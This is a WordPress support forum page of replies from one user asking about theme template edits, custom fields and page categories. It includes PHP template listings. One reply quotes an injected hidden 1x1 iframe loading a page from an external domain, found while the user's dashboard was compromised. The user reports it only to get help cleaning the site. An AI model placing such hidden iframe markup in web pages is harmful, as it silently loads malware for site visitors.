Forum Replies Created

Viewing 15 replies - 1 through 15 (of 16 total)
  • Thread Starter prodromoi

    (@prodromoi)

    Problem solved – changing the OAuth permission to Enabled seems to have fixed it.

    Thread Starter prodromoi

    (@prodromoi)

    Excellent, thank you. That’s done it nicely.

    I also had to add the same line (at the same place) into the single.php file so that the custom fields were displayed on the single post pages too.

    Much obliged!
    A

    Thread Starter prodromoi

    (@prodromoi)

    Ah, this may go some way towards explaining the problem. The template that I’m using (Suffusion 3.3.8) doesn’t have that first line included in the index.php file at all. I’ve tried adding that whole line as well as the the_meta tag, but it’s not got me any further.

    For info, the index.php of this template is:

    <?php
    /**
     * Core file required with every WP theme. We have files for everything else.
     * So this is essentially the landing page if nothing else is set.
     * This is also the file used for archives.
     *
     * @package Suffusion
     * @subpackage Templates
     */
    
    global $options;
    foreach ($options as $value) {
        if (get_option($value['id']) === FALSE) {
        	$$value['id'] = $value['std'];
        }
        else {
        	$$value['id'] = get_option($value['id']);
        }
    }
    get_header();
    ?>
    	<div id="main-col">
    <?php suffusion_before_begin_content(); ?>
    		<div id="content">
    <?php
    if ($suf_index_excerpt == 'list') {
    	include_once(TEMPLATEPATH . '/layouts/layout-list.php');
    }
    else if ($suf_index_excerpt == 'tiles') {
    	suffusion_after_begin_content();
    	include_once(TEMPLATEPATH . '/layouts/layout-tiles.php');
    }
    else {
    	suffusion_after_begin_content();
    	include_once(TEMPLATEPATH . '/layouts/layout-blog.php');
    }
    ?>
          </div><!-- content -->
        </div><!-- main col -->
    <?php
    get_footer();
    ?>
    
    <p class="postmetadata"><?php the_tags('Tags: ', ', ', '<br />'); ?> Posted in <?php the_category(', ') ?> | <?php edit_post_link('Edit', '', ' | '); ?>  <?php comments_popup_link('No Comments ?', '1 Comment ?', '% Comments ?'); ?></p>
    <?php the_meta(); ?>

    … where the last bit is, of course, the bit I added (and have now removed).

    Any other suggestions please?

    (Editing the default template as per your instructions works just fine!)

    Thread Starter prodromoi

    (@prodromoi)

    All seems to be well again. Having deleted the entire directory structure the database I’ve now rebuilt it and so far it looks to be fixed.

    Thanks for your assistance.
    A

    Thread Starter prodromoi

    (@prodromoi)

    I’ll post an update in a day or two. I’ve done as much deletion as I can at the moment – currently waiting for my ISP to delete the DB and create a new one, then I have to rebuild…

    Thanks for the help.

    Thread Starter prodromoi

    (@prodromoi)

    OK, thanks. I’ve got some reading to do there, obviously…

    Any obvious suggestion where to start? (Other than with a backup!)

    Cheers,
    A

    Thread Starter prodromoi

    (@prodromoi)

    I would but…

    I’ve just cleared all the cookies related to the site and tried again. Now I’m getting the normal appearance of the dashboard flick into view for a split second, which disappears leaving a white browser window with no source code.

    I’ve pressed “stop” as the page is still trying to load something, and the only source code I can see is:
    <iframe src="https://geonon.net/in.php" width=1 height=1 frameborder=0></iframe>

    Does that help at all?

    (Re. Q1 – Admin/Settings/General of… where please?)

    Thread Starter prodromoi

    (@prodromoi)

    Ah, we crossed in our posts. Fortunately, that was where I thought it belonged!

    Much obliged!

    Thread Starter prodromoi

    (@prodromoi)

    ‘Tis solved…

    I added it directly following the
    <div class=”postline”></div>
    entry and it seems to be just fine, including switching off comments on the pages for which the facility is not needed/required.

    Many thanks for the help!
    A

    Thread Starter prodromoi

    (@prodromoi)

    No, it isn’t… I begin to see the problem!

    This is the page as it stands:

    <?php get_header(); ?>
    
    <?php get_sidebar(); ?>
    
    <div class="text">
    
    		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
    
    			<div class="post">
    				<h1 class="title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
    				Posted by <?php the_author(); ?> on
    				<?php the_time('F j, Y'); ?>
    				<?php the_content('Read the rest of this entry &raquo;'); ?>
    				<div class="postinfo">
    					<div class="alignright"><a href="<?php the_permalink(); ?>#comments">Comments (<?php comments_number('0','1','%'); ?>)</a></div>
    				</div>
    			</div>
    			<div class="postline"></div>
    
    		<?php endwhile; endif; ?>
    
    </div>
    
    <?php get_footer(); ?>

    Whereabouts would you suggest adding that piece of code? Presumably after the “comments_number” line somewhere, but where?

    Looking hopeful…!

    Thread Starter prodromoi

    (@prodromoi)

    I went for the second option since I wanted to retain the facility for comments, and it’s worked just fine – thanks very much indeed.

    I’d been scratching my head trying to work out how to include an IF condition regarding the is_single tag because I thought that removing this “Posted under…” section would have removed all occurrences, including blog posts (which I wanted to retain).

    It does seem a shame that pages can’t be assigned categories though. Is this an omission inherent in this particular theme, or across WordPress in general?

    Thread Starter prodromoi

    (@prodromoi)

    The page.php file currently contains the following code:

    <?php get_header(); ?>
    
    <?php get_sidebar(); ?>
    
    <div class="text">
    
    		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
    
    			<div class="post">
    				<h1 class="title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
    				Posted by <?php the_author(); ?> on
    				<?php the_time('F j, Y'); ?>
    				<?php the_content('Read the rest of this entry &raquo;'); ?>
    				<div class="postinfo">
    					<div class="alignleft">Posted under <?php the_category(', '); ?></div>
    					<div class="alignright"><a href="<?php the_permalink(); ?>#comments">Comments (<?php comments_number('0','1','%'); ?>)</a></div>
    				</div>
    			</div>
    			<div class="postline"></div>
    
    		<?php endwhile; endif; ?>
    
    </div>
    
    <?php get_footer(); ?>

    But unfortunately I’m not nearly familiar enough with PHP programming to work out what I need to add to it, or where…

    If you could help a dumb-ass like me to sort that out, it’d be appreciated…!

    Thread Starter prodromoi

    (@prodromoi)

    I presume it’s the page.php file that needs this section of code added?

    At the moment I can’t even edit that page at all (via the admin’s editor), since selecting it under Appearance/Edit Themes is giving me only a dark grey code box with text of almost the same shade of grey which I can’t even highlight or edit… (But I can get round that by editing an offline copy and then uploading it.)

    Looking at the Conditional Tags page and the is_single condition, I can’t find a example that’s basic enough for me to understand the syntax of the IF check that I need to construct or where to fit it into the existing page code.

    Thread Starter prodromoi

    (@prodromoi)

    OK, I’ll give that a try, thanks. (Although my head is aching looking at the code required!)

    Getting rid of the inclusion of a category field for these pages would work if I can’t give them specific categories…

    Will update if I can work it out…

    Thread Starter prodromoi

    (@prodromoi)

    Thanks for that, but that’s not what I’m asking about – I can see where I should have made it clearer… (I’ve now edited the first post for clarity.)

    How do I assign specific, different categories to each of these extra tabbed pages?

Viewing 15 replies - 1 through 15 (of 16 total)